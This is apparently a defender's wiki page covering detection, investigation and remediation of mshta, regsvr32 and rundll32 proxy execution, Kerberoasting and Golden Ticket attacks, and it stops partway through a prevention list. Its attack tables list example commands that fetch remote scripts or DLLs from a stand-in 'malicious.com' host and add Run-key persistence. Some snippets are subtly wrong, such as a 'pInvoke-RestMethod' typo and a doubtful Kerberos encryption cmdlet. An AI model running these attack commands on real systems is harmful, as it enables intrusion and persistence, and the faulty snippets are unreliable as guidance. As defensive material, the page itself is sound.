> For the complete documentation index, see [llms.txt](https://0xmedhat.gitbook.io/whoami/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xmedhat.gitbook.io/whoami/attacks-and-detections/part-2.md).

# part 2

## 🚨 **Signed Binary Proxy Execution - `mshta.exe`**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is `mshta.exe`?**

* `mshta.exe` (**Microsoft HTML Application Host**) is a legitimate Windows binary used to **execute HTA (HTML Application)** files.
* It supports scripting languages like VBScript and JavaScript.

#### 📑 **Why Attackers Abuse `mshta.exe`?**

* **Signed Binary:** Trusted by Windows, can bypass application whitelisting.
* **Supports Remote Scripts:** Can directly execute scripts hosted on malicious servers.
* **Fileless Attacks:** Scripts can run entirely in memory.
* **Proxy Execution:** Execute malicious payloads indirectly.

***

#### 📌 **Common Malicious Uses of `mshta.exe`**

| **Technique**                | **Example Command**                                                                                                 | **Purpose**                       |
| ---------------------------- | ------------------------------------------------------------------------------------------------------------------- | --------------------------------- |
| **Remote Script Execution**  | `mshta.exe http://malicious.com/script.hta`                                                                         | Execute script from external URL. |
| **Encoded Script Execution** | `mshta.exe vbscript:Execute("cmd /c calc.exe")`                                                                     | Run commands using VBScript.      |
| **Obfuscated Payload**       | `mshta.exe "javascript:eval('base64_encoded_payload')"`                                                             | Execute encoded payloads.         |
| **Persistence Mechanism**    | `reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "mshta.exe C:\temp\payload.hta"` | Add registry persistence.         |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection**

**🕵️ Check for Active `mshta.exe` Processes**

```powershell
Get-Process -Name mshta
```

**🕵️ Check Command-Line History for `mshta.exe`**

```powershell
Get-History | Where-Object { $_.CommandLine -match "mshta" }
```

**🕵️ List Remote Connections by `mshta.exe`**

```powershell
Get-NetTCPConnection | Where-Object { $_.OwningProcess -eq (Get-Process -Name mshta).Id }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect `mshta.exe` Executions**

```kusto
DeviceProcessEvents
| where FileName == "mshta.exe"
| project Timestamp, DeviceName, FolderPath, ProcessCommandLine, AccountName
```

**🕵️ Detect Remote Script Execution via `mshta.exe`**

```kusto
DeviceProcessEvents
| where FileName == "mshta.exe"
| where ProcessCommandLine contains "http"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Encoded or Obfuscated Payloads**

```kusto
DeviceProcessEvents
| where FileName == "mshta.exe"
| where ProcessCommandLine matches regex "(?i)base64|eval|vbscript"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Network Activity from `mshta.exe`**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName == "mshta.exe"
| where RemoteIP != "127.0.0.1"
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, ProcessCommandLine
```

***

#### 📊 **Event Viewer Logs**

* **Event ID 4688:** Process Creation
* **Event ID 4104:** Script Block Logging
* **Event ID 5156:** Network Connection Allowed

**Filter Example:**

* Open **Event Viewer** → `Windows Logs → Security`
* Search for:

  ```yaml
  Process Name: mshta.exe
  Command Line: http, vbscript, eval
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Inspect Command Line Arguments**

* Identify URLs, encoded commands, or file paths:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "mshta.exe" } | Select-Object CommandLine
```

***

#### 2️⃣ **Check Remote Connections**

* List outbound network connections:

```powershell
netstat -ano | findstr :80
netstat -ano | findstr :443
```

***

#### 3️⃣ **Validate Remote URLs or IPs**

* Verify IPs or domains with **VirusTotal**, **AbuseIPDB**, or **Shodan**:

```powershell
Invoke-RestMethod -Uri "https://ipinfo.io/<RemoteIP>"
```

***

#### 4️⃣ **Inspect Registry Persistence**

* Look for startup entries using `mshta.exe`:

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
```

***

#### 5️⃣ **Analyze HTA Files**

* Check downloaded `.hta` files:

```powershell
Get-ChildItem -Path "C:\Temp" -Filter "*.hta"
Get-Content "C:\Temp\script.hta"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Suspicious Processes**

```powershell
Stop-Process -Name mshta -Force
```

#### 📌 **2. Block Outbound Traffic**

```powershell
New-NetFirewallRule -DisplayName "Block mshta Public Traffic" -Direction Outbound -RemoteAddress "<Suspicious IP>" -Action Block
```

#### 📌 **3. Remove Registry Persistence**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "malicious"
```

#### 📌 **4. Quarantine Malicious Files**

```powershell
Move-Item -Path "C:\Temp\malicious.hta" -Destination "C:\Quarantine"
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Restrict Execution of `mshta.exe`:**
   * Block it via **AppLocker** or **WDAC**.
2. **Monitor Remote Script Executions:**
   * Alert for `mshta.exe` executing remote scripts.
3. **Enable Script Block Logging:**

```powershell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
```

4. **Enable Attack Surface Reduction (ASR) Rules:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

5. **Monitor Non-Standard Execution Paths:**
   * Ensure HTA files are not executed from `Temp` or `AppData`.
6. **Educate Users:**
   * Train users to avoid clicking on `.hta` files from unknown sources.

***

### 🧠 **6. Key Takeaways**

* **Monitor HTTP/S Connections:** `mshta.exe` rarely communicates with public IPs.
* **Obfuscation Detection:** Look for Base64 and JavaScript commands.
* **Registry Analysis:** Watch for `mshta.exe` in Run keys.
* **Disable Unused Binaries:** Block execution of `mshta.exe` if not needed.

***

## 🚨 **Signed Binary Proxy Execution - `regsvr32.exe`**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is `regsvr32.exe`?**

* `regsvr32.exe` (**Microsoft Register Server**) is a legitimate Windows utility used to **register or unregister DLL files** in the Windows Registry.
* It supports remote loading of DLLs and scriptlets via URLs.

#### 📑 **Why Attackers Abuse `regsvr32.exe`?**

* **Signed Binary:** Trusted by Windows and bypasses security controls.
* **Remote Payload Loading:** Can load remote scripts or DLLs.
* **Proxy Execution:** Run malicious code indirectly.
* **Fileless Attacks:** Execute payloads in memory without leaving traces on disk.

***

#### 📌 **Common Malicious Uses of `regsvr32.exe`**

| **Technique**                 | **Example Command**                                                                                                                     | **Purpose**                         |
| ----------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------- |
| **Remote Script Execution**   | `regsvr32.exe /s /u /i:http://malicious.com/script.sct scrobj.dll`                                                                      | Load and execute remote script.     |
| **Local DLL Execution**       | `regsvr32.exe /s malicious.dll`                                                                                                         | Load and execute local DLL payload. |
| **Encoded Payload Execution** | `regsvr32.exe /u /n /i:"javascript:eval('Base64Payload')" scrobj.dll`                                                                   | Execute encoded JavaScript payload. |
| **Persistence Mechanism**     | `reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Persist /t REG_SZ /d "regsvr32.exe /i:http://malicious.com/payload.sct"` | Add persistence in registry.        |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection**

**🕵️ Check Running Instances of `regsvr32.exe`:**

```powershell
Get-Process -Name regsvr32 -IncludeUserName | Select-Object ProcessName, Id, Path, StartTime
```

**🕵️ List Recent Commands Containing `regsvr32.exe`:**

```powershell
Get-History | Where-Object { $_.CommandLine -match "regsvr32" }
```

**🕵️ Identify Suspicious Network Connections:**

```powershell
Get-NetTCPConnection | Where-Object { $_.OwningProcess -eq (Get-Process -Name regsvr32).Id }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect `regsvr32.exe` Execution:**

```kusto
DeviceProcessEvents
| where FileName == "regsvr32.exe"
| project Timestamp, DeviceName, ProcessCommandLine, FolderPath, AccountName
```

**🕵️ Detect Remote Payload Execution via `regsvr32.exe`:**

```kusto
DeviceProcessEvents
| where FileName == "regsvr32.exe"
| where ProcessCommandLine contains "http"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Encoded or Obfuscated Payloads:**

```kusto
DeviceProcessEvents
| where FileName == "regsvr32.exe"
| where ProcessCommandLine matches regex "(?i)javascript|eval|Base64"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Detect `regsvr32.exe` Communicating with Public IP:**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName == "regsvr32.exe"
| where RemoteIP != "127.0.0.1"
| where RemoteIP != "::1"
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, ProcessCommandLine
```

***

#### 📊 **Event Viewer Logs**

* **Event ID 4688:** Process Creation
* **Event ID 4104:** Script Block Logging (PowerShell)
* **Event ID 5156:** Network Connection Allowed

**Filter Example:**

* Open **Event Viewer** → `Windows Logs → Security`
* Search for:

  ```arduino
  Process Name: regsvr32.exe
  Process Command Line: http, javascript, eval
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Inspect Command Line Arguments**

* Identify URLs, encoded commands, or file paths:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "regsvr32.exe" } | Select-Object CommandLine
```

***

#### 2️⃣ **Validate Remote URLs or IPs**

* Verify IPs or domains with **VirusTotal**, **AbuseIPDB**, or **Shodan**:

```powershell
pInvoke-RestMethod -Uri "https://ipinfo.io/<RemoteIP>"
```

***

#### 3️⃣ **Trace Parent Processes**

* Identify the parent process that triggered `regsvr32.exe`:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ProcessId -eq <PID> } | Select-Object ParentProcessId
```

***

#### 4️⃣ **Analyze Network Traffic**

* Monitor outbound connections initiated by `regsvr32.exe`:

```powershell
netstat -ano | findstr :80
netstat -ano | findstr :443
```

***

#### 5️⃣ **Inspect Registry for Persistence**

* Look for startup entries involving `regsvr32.exe`:

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Suspicious Processes**

```powershell
Stop-Process -Name regsvr32 -Force
```

#### 📌 **2. Block Outbound Traffic**

```powershell
New-NetFirewallRule -DisplayName "Block regsvr32 Public Traffic" -Direction Outbound -RemoteAddress "<Suspicious IP>" -Action Block
```

#### 📌 **3. Remove Registry Persistence**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "malicious"
```

#### 📌 **4. Quarantine Malicious Files**

```powershell
Move-Item -Path "C:\Temp\malicious.dll" -Destination "C:\Quarantine"
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Restrict Execution of `regsvr32.exe`:**
   * Block it via **AppLocker** or **WDAC**.
2. **Monitor Remote Script Executions:**
   * Alert for `regsvr32.exe` executing remote scripts.
3. **Enable Script Block Logging:**

```powershell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
```

4. **Enable Attack Surface Reduction (ASR) Rules:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

5. **Monitor Non-Standard Execution Paths:**
   * Ensure DLLs are not executed from `Temp` or `AppData`.
6. **Educate Users:**
   * Avoid opening unknown `.dll` or `.sct` files.

***

### 🧠 **6. Key Takeaways**

* **Monitor HTTP/S Connections:** `regsvr32.exe` rarely communicates with public IPs.
* **Obfuscation Detection:** Look for `javascript`, `eval`, and Base64 encoding.
* **Registry Analysis:** Watch for `regsvr32.exe` entries in Run keys.
* **Disable Unused Binaries:** If not needed, disable `regsvr32.exe`.

***

## 🚨 **Signed Binary Proxy Execution - `rundll32.exe`**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is `rundll32.exe`?**

* `rundll32.exe` is a **legitimate Windows binary** used to load and execute DLL (Dynamic Link Library) files.
* It can execute **exported functions from DLLs** and **execute JavaScript/VBScript** with certain arguments.

#### 📑 **Why Attackers Abuse `rundll32.exe`?**

* **Signed Binary:** Trusted by Windows, often bypasses security monitoring tools.
* **Proxy Execution:** Executes malicious DLL payloads indirectly.
* **Remote Execution:** Can load DLLs or scripts from remote locations.
* **Fileless Attacks:** Executes payloads directly in memory.
* **Obfuscation Potential:** Commands can be heavily obfuscated.

***

#### 📌 **Common Malicious Uses of `rundll32.exe`**

| **Technique**             | **Example Command**                                                                                                                | **Purpose**                               |
| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------- |
| **Execute DLL Function**  | `rundll32.exe C:\malicious.dll,EntryPoint`                                                                                         | Execute exported DLL function.            |
| **Remote DLL Execution**  | `rundll32.exe http://malicious.com/payload.dll,EntryPoint`                                                                         | Execute remote payload.                   |
| **Fileless Execution**    | `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write('...')`                                                    | Execute JavaScript in memory.             |
| **PowerShell Execution**  | `rundll32.exe PowrProf.dll, SetSuspendState`                                                                                       | Abuse legitimate DLLs for code execution. |
| **Persistence Mechanism** | `reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Persist /t REG_SZ /d "rundll32.exe C:\Temp\payload.dll,EntryPoint"` | Add persistence via registry.             |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection**

**🕵️ List Active `rundll32.exe` Processes**

```powershell
Get-Process -Name rundll32 | Select-Object ProcessName, Id, Path, StartTime
```

**🕵️ Check Suspicious Command Lines**

```powershell
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Message -match "rundll32" }
```

**🕵️ Check Recently Created DLLs**

```powershell
Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\<User>\AppData\Local\Temp" -Filter "*.dll" -Recurse
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect `rundll32.exe` Executions**

```kusto
DeviceProcessEvents
| where FileName == "rundll32.exe"
| project Timestamp, DeviceName, ProcessCommandLine, FolderPath, AccountName
```

**🕵️ Detect Remote Payload Execution**

```kusto
DeviceProcessEvents
| where FileName == "rundll32.exe"
| where ProcessCommandLine contains "http"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Encoded or Obfuscated Commands**

```kusto
DeviceProcessEvents
| where FileName == "rundll32.exe"
| where ProcessCommandLine matches regex "(?i)javascript|eval|base64"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Monitor Network Connections by `rundll32.exe`**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName == "rundll32.exe"
| where RemoteIP != "127.0.0.1"
| where RemoteIP != "::1"
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, ProcessCommandLine
```

***

#### 📊 **Event Viewer Logs**

* **Event ID 4688:** Process Creation
* **Event ID 5156:** Network Connection Allowed
* **Event ID 4104:** PowerShell Script Block Logging

**Filter Example:**

* Open **Event Viewer** → `Windows Logs → Security`
* Search for:

  ```yaml
  Process Name: rundll32.exe
  Command Line: http, javascript, base64
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Inspect Command Line Arguments**

* Analyze the full command line:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "rundll32.exe" } | Select-Object CommandLine
```

***

#### 2️⃣ **Trace Parent Processes**

* Identify the parent process:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ProcessId -eq <PID> } | Select-Object ParentProcessId
```

***

#### 3️⃣ **Validate Remote IPs/URLs**

* Verify URLs and IPs using **VirusTotal** or **AbuseIPDB**:

```powershell
Invoke-RestMethod -Uri "https://ipinfo.io/<RemoteIP>"
```

***

#### 4️⃣ **Analyze DLLs**

* Check metadata and contents of the DLL:

```powershell
Get-Item "C:\Temp\malicious.dll" | Select-Object Name, CreationTime, LastWriteTime
```

* Dump and analyze:

```powershell
Get-Content "C:\Temp\malicious.dll"
```

***

#### 5️⃣ **Check Registry for Persistence**

* Look for `rundll32.exe` entries in Run keys:

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Suspicious Processes**

```powershell
Stop-Process -Name rundll32 -Force
```

#### 📌 **2. Block Outbound Traffic**

```powershell
New-NetFirewallRule -DisplayName "Block rundll32 Public Traffic" -Direction Outbound -RemoteAddress "<Suspicious IP>" -Action Block
```

#### 📌 **3. Remove Registry Persistence**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "malicious"
```

#### 📌 **4. Quarantine Suspicious DLLs**

```powershell
Move-Item -Path "C:\Temp\malicious.dll" -Destination "C:\Quarantine"
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Restrict Execution of `rundll32.exe`:**
   * Block non-standard DLL execution via **AppLocker** or **WDAC**.
2. **Monitor Remote Script Execution:**
   * Create alerts for remote DLL execution.
3. **Enable Script Block Logging:**

```powershell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
```

4. **Enable Attack Surface Reduction (ASR) Rules:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

5. **Monitor Non-Standard Execution Paths:**
   * Prevent DLL execution from `Temp` and `AppData`.
6. **User Awareness Training:**
   * Educate users about malicious DLLs.

***

### 🧠 **6. Key Takeaways**

* **Proxy Execution:** `rundll32.exe` can proxy malicious DLL execution.
* **Monitor Outbound Connections:** Look for public IP communication.
* **Obfuscation Patterns:** Detect `javascript`, `base64`, or remote URLs.
* **Registry Auditing:** Watch for `rundll32.exe` in `Run` keys.

***

## 🚨 **Kerberoasting Attack: Advanced Threat Analysis**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Kerberoasting?**

* **Kerberoasting** is an attack targeting **Service Principal Names (SPNs)** in an **Active Directory (AD)** environment.
* Attackers exploit weak **service account passwords** by requesting **Kerberos Ticket Granting Service (TGS) tickets** and attempting to **crack the hash offline**.

#### 📑 **Why Attackers Use Kerberoasting?**

* **No Elevated Privileges Required:** Any domain user can request SPN tickets.
* **Offline Hash Cracking:** Allows attackers to crack hashes without interacting with the domain.
* **No Account Lockouts:** Offline cracking prevents triggering account lockouts.
* **Privilege Escalation:** Successful password cracking may grant access to privileged accounts.

***

#### 📌 **Attack Phases**

1️⃣ **Enumeration:** Identify service accounts with SPNs using tools like `setspn`, PowerShell, or LDAP queries.\
2️⃣ **Request TGS Tickets:** Use tools like `Rubeus`, `Impacket`, or `PowerView` to request Kerberos tickets for service accounts.\
3️⃣ **Extract Ticket Hashes:** Extract the `RC4-HMAC` hashes from the tickets.\
4️⃣ **Crack Hashes Offline:** Use tools like **John the Ripper** or **Hashcat** to crack the extracted hashes.\
5️⃣ **Lateral Movement:** Use cracked credentials for lateral movement and privilege escalation.

***

#### 📊 **Tools Commonly Used in Kerberoasting**

| **Tool**                      | **Purpose**                                 |
| ----------------------------- | ------------------------------------------- |
| **Rubeus**                    | Kerberos ticket manipulation and extraction |
| **Impacket (GetUserSPNs.py)** | Enumerate and request SPN tickets           |
| **PowerView**                 | Enumerate SPNs via PowerShell               |
| **Kerberoast**                | Extract and crack Kerberos tickets          |
| **Hashcat**                   | Offline password cracking                   |
| **John the Ripper**           | Offline password cracking                   |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Detection with PowerShell**

**🕵️ Identify SPNs in Active Directory**

```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | Select-Object Name, ServicePrincipalName
```

**🕵️ Monitor Kerberos Ticket Requests (Event ID 4769)**

* Open **Event Viewer** → `Windows Logs → Security` → Filter by **Event ID 4769**
* Look for:
  * **Service Name:** Suspicious or high-value accounts
  * **Encryption Type:** `0x17 (RC4-HMAC)` is common in Kerberoasting

**🕵️ Check for Excessive TGS Requests**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} | Where-Object { $_.Message -match "0x17" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Excessive TGS Requests**

```kusto
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| summarize count() by AccountName, IpAddress
| where count_ > 10
```

**🕵️ Identify Suspicious SPN Enumeration**

```kusto
DeviceProcessEvents
| where FileName contains "powershell.exe" or FileName contains "rubeus.exe"
| where ProcessCommandLine contains "kerberoast" or ProcessCommandLine contains "getuserspns"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName
```

**🕵️ Monitor Hash Extraction Tools**

```kusto
DeviceFileEvents
| where FileName contains "hashcat" or FileName contains "john"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

***

#### 📊 **Event Viewer Logs**

* **Event ID 4769:** Kerberos Service Ticket Request
* **Event ID 4625:** Failed Login Attempt (if lateral movement follows Kerberoasting)
* **Event ID 4648:** Logon with Explicit Credentials

**📌 Look for Key Indicators:**

* Ticket encryption type: `0x17 (RC4-HMAC)`
* Excessive TGS requests from a single IP address or account

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Identify Target Accounts**

* Check high-privilege accounts with SPNs:

```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | Where-Object {$_.Enabled -eq $true}
```

***

#### 2️⃣ **Trace IP Address of Ticket Requests**

* Investigate IP addresses making frequent TGS requests:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} | Where-Object { $_.Properties[2].Value -match "0x17" }
```

***

#### 3️⃣ **Analyze Tools Used**

* Look for tools like `Rubeus.exe`, `impacket`, `powershell.exe` with Kerberoasting commands.

***

#### 4️⃣ **Check Offline Password Cracking Activity**

* Monitor tools like **John the Ripper**, **Hashcat**, or massive hash dump files in `Temp` or `AppData`.

***

#### 5️⃣ **Investigate Credential Use Post-Cracking**

* Check Event Logs for lateral movement:
  * **Event ID 4624:** Successful Logon
  * **Event ID 4634:** Logoff
  * **Event ID 4661:** Access to objects

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Reset Compromised Account Passwords**

* Change passwords for all suspected service accounts.
* Ensure passwords are **long and complex**.

#### 📌 **2. Enable Kerberos AES Encryption**

* Disable RC4 encryption in Kerberos:

```powershell
Set-ADAccountControl -Identity <ServiceAccount> -KerberosEncryptionType AES256
```

#### 📌 **3. Audit Service Accounts**

* Ensure service accounts follow the **least privilege principle**.
* Avoid excessive SPNs.

#### 📌 **4. Monitor for Tools and Scripts**

* Block `Rubeus`, `Impacket`, and other Kerberoasting tools.

#### 📌 **5. Enable Account Lockout Policy**

* Implement an account lockout policy to detect brute-force attempts.

***

### 🛡️ **5. Prevention Steps**

1. **Strong Service Account Passwords:**
   * At least **25+ characters** with uppercase, lowercase, numbers, and symbols.
2. **Disable Unused SPNs:**

```powershell
Set-ADUser -Identity <Account> -ServicePrincipalNames @{Remove="SPN"}
```

3. **Enable Kerberos AES Encryption:**
   * Avoid RC4 encryption.
4. **Implement Group Managed Service Accounts (gMSA):**
   * Use gMSAs for service accounts.
5. **Real-Time Monitoring for TGS Requests:**
   * Configure SIEM alerts for **Event ID 4769** with RC4-HMAC.
6. **Use Managed Security Solutions:**
   * Solutions like **Microsoft Defender for Identity (MDI)** or **CrowdStrike Falcon**.

***

### 🧠 **6. Key Takeaways**

* **Encryption Matters:** Avoid RC4 encryption in Kerberos tickets.
* **Audit Service Accounts:** Remove unnecessary SPNs.
* **Monitor TGS Requests:** Look for repeated requests with RC4-HMAC encryption.
* **Offline Cracking Is Silent:** Focus on ticket requests, not brute-force attempts.
* **Account Hygiene:** Strong, unique passwords for service accounts.

***

## 🚨 **Golden Ticket Attack: Advanced Threat Analysis**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is a Golden Ticket Attack?**

* A **Golden Ticket Attack** is a post-exploitation technique where an attacker **forges a Kerberos Ticket Granting Ticket (TGT)** using the **KRBTGT account hash**.
* With a Golden Ticket, an attacker can **impersonate any user**, including domain admins, and gain **unrestricted access** to the Active Directory (AD) environment.

#### 📑 **Why Attackers Use Golden Tickets?**

* **Unlimited Access:** Gain access to any resource in the domain.
* **Persistence:** Golden Tickets remain valid even after password resets for regular accounts.
* **Stealth:** Hard to detect without specialized monitoring.
* **Flexibility:** Can create TGTs for any user, SID, or privilege level.

#### 🛡️ **Requirements for a Golden Ticket Attack:**

1. **Domain Admin Access:** Required to extract the `krbtgt` NTLM hash.
2. **Domain SID:** Security Identifier of the domain.
3. **KRBTGT Account Hash:** Extracted using tools like **Mimikatz**.
4. **Domain Name:** FQDN of the domain.

#### 📌 **Attack Steps:**

1️⃣ **Compromise Domain Admin Account:** Gain access to an account with sufficient privileges.\
2️⃣ **Extract KRBTGT Hash:** Use tools like **Mimikatz** to dump the KRBTGT hash.\
3️⃣ **Forge a TGT:** Create a fake TGT using the extracted hash.\
4️⃣ **Impersonate Any User:** Use the forged TGT to access domain resources.\
5️⃣ **Lateral Movement & Persistence:** Move laterally across the network, maintain persistence.

***

#### 📊 **Common Tools Used in Golden Ticket Attacks**

| **Tool**        | **Purpose**                                   |
| --------------- | --------------------------------------------- |
| **Mimikatz**    | Dump KRBTGT hash and forge Golden Tickets     |
| **Rubeus**      | Kerberos ticket manipulation                  |
| **Impacket**    | Pass-the-Ticket attacks                       |
| **Responder**   | Lateral movement and credential harvesting    |
| **PowerSploit** | Credential extraction and ticket manipulation |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Detection with PowerShell**

**🕵️ Check KRBTGT Account Modifications**

```powershell
Get-ADUser -Identity krbtgt -Properties LastLogonDate, PasswordLastSet
```

* **Red Flag:** `PasswordLastSet` hasn't been changed in a long time.

**🕵️ Look for Suspicious TGT Requests**

* Monitor **Event ID 4769** for abnormal activity.

**🕵️ Check for Unusual Privileges in Kerberos Tickets**

```powershell
klist tickets
```

* Look for tickets with **abnormally long lifetimes** or **unusual user SIDs**.

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Suspicious Kerberos TGT Requests**

```kql
SecurityEvent
| where EventID == 4769
| where TicketOptions contains "0x40810000" // Indicates forged tickets
| project Timestamp, DeviceName, AccountName, IpAddress
```

**🕵️ Identify Abnormal KRBTGT Activity**

```kql
DeviceProcessEvents
| where InitiatingProcessFileName contains "mimikatz" or InitiatingProcessCommandLine contains "kerberos::golden"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName
```

**🕵️ Look for Long-Lived Kerberos Tickets**

```kql
SecurityEvent
| where EventID == 4769
| where TicketLifetime > 10h
| project Timestamp, DeviceName, AccountName, TicketLifetime
```

**🕵️ Identify NTLM Hash Dumps**

```kql
DeviceProcessEvents
| where ProcessCommandLine contains "lsass.exe" or ProcessCommandLine contains "dump"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                    |
| ------------ | ---------------------------------- |
| **4768**     | TGT was requested                  |
| **4769**     | Service ticket was requested       |
| **4771**     | Kerberos pre-authentication failed |
| **4624**     | Successful account logon           |

**🕵️ Focus on Event ID 4768 and 4769**

* Look for tickets with unusually **long lifetimes**.
* Check for tickets issued to **non-standard accounts** (e.g., non-admin accounts with high privileges).

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Inspect KRBTGT Account Activity**

* Check if the KRBTGT account has been accessed or its password has been reset.

#### 2️⃣ **Trace Kerberos Tickets**

* Look for **unusual ticket lifetimes**:

```powershell
klist tickets
```

#### 3️⃣ **Analyze Ticket Requests**

* Check accounts requesting service tickets frequently:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769}
```

#### 4️⃣ **Monitor High-Privilege Accounts**

* Look for high-privilege accounts being accessed from unfamiliar systems.

#### 5️⃣ **Identify Tool Artifacts**

* Look for `mimikatz.exe`, `rubeus.exe`, or unusual PowerShell commands.

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Reset the KRBTGT Account Twice**

* Reset the KRBTGT account password twice to invalidate all existing Kerberos tickets:

```powershell
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewSecurePassword!" -Force)
```

* Wait for replication across all Domain Controllers.

#### 📌 **2. Revoke Active Kerberos Tickets**

* Invalidate existing tickets:

```powershell
klist purge
```

#### 📌 **3. Remove Malicious Tickets**

* Reboot affected systems to clear all cached tickets.

#### 📌 **4. Audit Domain Admin Accounts**

* Check for unauthorized activity across all Domain Admin accounts.

#### 📌 **5. Update and Patch Systems**

* Ensure Domain Controllers and Kerberos servers are up-to-date.

#### 📌 **6. Conduct Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Regular KRBTGT Password Resets:**
   * Rotate KRBTGT passwords **at least every 180 days**.
2. **Enable Monitoring for Admin Activities:**
   * Track login attempts and service ticket requests.
3. **Use Managed Service Accounts (gMSA):**
